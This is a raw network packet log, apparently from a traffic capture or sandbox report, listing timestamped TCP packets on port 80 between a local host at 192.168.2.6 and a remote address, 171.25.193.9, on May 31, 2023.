May 31, 2023 12:23:07.286921024 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286936998 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286943913 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286961079 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286967039 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286982059 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286988020 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287009954 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287012100 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287030935 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287034035 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287051916 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287054062 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287070036 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287077904 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287096024 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287098885 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287116051 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287121058 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287139893 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287143946 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287157059 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287166119 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287184954 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287185907 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287203074 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287206888 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287225962 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287229061 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287244081 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287250996 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287267923 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287273884 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287292957 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287297010 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287311077 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287318945 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287337065 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287360907 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287359953 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287370920 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287379980 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287388086 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287396908 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287403107 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287419081 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287426949 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287440062 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287456989 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287460089 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287481070 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287482023 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287504911 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287511110 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287527084 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287533045 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287548065 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287554026 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287570000 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287574053 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287591934 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287595034 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287614107 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287616968 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287636042 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287636042 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287655115 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287658930 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287673950 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287679911 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287698030 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287702084 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287718058 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287724972 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287743092 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287746906 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287764072 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287772894 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287790060 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287794113 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287815094 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287830114 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287830114 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287837982 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287859917 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287880898 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287899971 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287900925 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287924051 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287933111 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287945986 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287969112 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.287969112 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.287990093 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288012981 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288033962 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288038969 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288054943 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288062096 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288100004 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288144112 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288163900 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288218021 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288233042 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288239002 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288249969 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288260937 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288283110 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288295984 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288316965 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288338900 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288360119 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288361073 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288383007 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288392067 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288404942 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288424015 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288430929 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288445950 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288466930 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288497925 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288518906 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288538933 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288566113 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288578033 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288588047 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288615942 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288635969 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288645029 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288657904 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288661957 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288678885 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288702965 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288722992 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288732052 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288746119 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288765907 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288769007 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288785934 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.288791895 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.288829088 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.289310932 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289331913 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289350986 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289371967 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289391994 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289392948 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.289412975 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289412975 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.289433956 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289453983 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289467096 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.289474964 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289489985 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.289496899 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289519072 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289539099 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289545059 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.289561033 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289582968 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.289583921 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.289623976 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.290076017 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.290354967 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.290764093 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300045967 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300071001 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300091982 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300143003 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300282001 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300451994 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300499916 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300519943 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300538063 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300540924 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300563097 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300565958 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300581932 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300582886 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300606012 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300607920 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300628901 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300632000 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300649881 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300662994 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300669909 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300683975 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300693989 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300704002 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300724030 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300739050 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300745964 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300765991 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300786018 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300805092 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300813913 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300826073 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.300838947 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.300870895 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.329265118 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.329394102 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.329509020 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.331953049 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.331984997 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332005978 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332025051 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332043886 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332066059 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332078934 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332081079 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332102060 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332122087 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332125902 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332140923 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332146883 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332161903 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332169056 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332185984 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332192898 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332205057 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332216024 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332221985 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332248926 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332252026 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332289934 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332297087 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332309961 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332326889 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332331896 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332346916 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332354069 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332372904 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332381010 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332393885 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.332406998 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332406998 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332437992 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332482100 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.332858086 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334111929 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334150076 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334168911 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334187984 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334208965 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334214926 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334229946 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334243059 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334252119 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334264040 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334274054 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334287882 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334289074 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334305048 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334320068 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334333897 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334352970 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334367037 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334379911 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334392071 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334402084 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334419966 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334423065 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334445953 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334445953 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334465981 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334471941 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334487915 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334489107 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334508896 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334510088 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334525108 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334531069 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334547043 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334553957 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334572077 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334574938 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334592104 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334595919 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.334614038 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.334634066 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335191965 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335306883 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335330009 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335347891 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335370064 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335381031 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335391045 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335410118 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335412025 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335432053 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335445881 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335453033 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335474968 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335494995 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335514069 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335534096 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335549116 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335549116 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335549116 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335549116 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335553885 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335575104 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335594893 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335613966 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335616112 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335616112 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335616112 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335633039 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335649967 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335654020 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335675001 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335675955 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335688114 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335700035 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335704088 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335721016 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335722923 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335743904 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335748911 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335763931 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335766077 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335784912 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335788965 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335805893 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.335808992 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335828066 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.335851908 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336303949 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336350918 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336373091 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336385012 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336405039 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336426020 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336446047 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336450100 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336450100 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336450100 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336474895 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336483002 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336483002 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336498022 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336514950 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336519003 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.336539030 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.336561918 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.346117973 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.371995926 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.372294903 CEST	49723	80	192.168.2.6	171.25.193.9
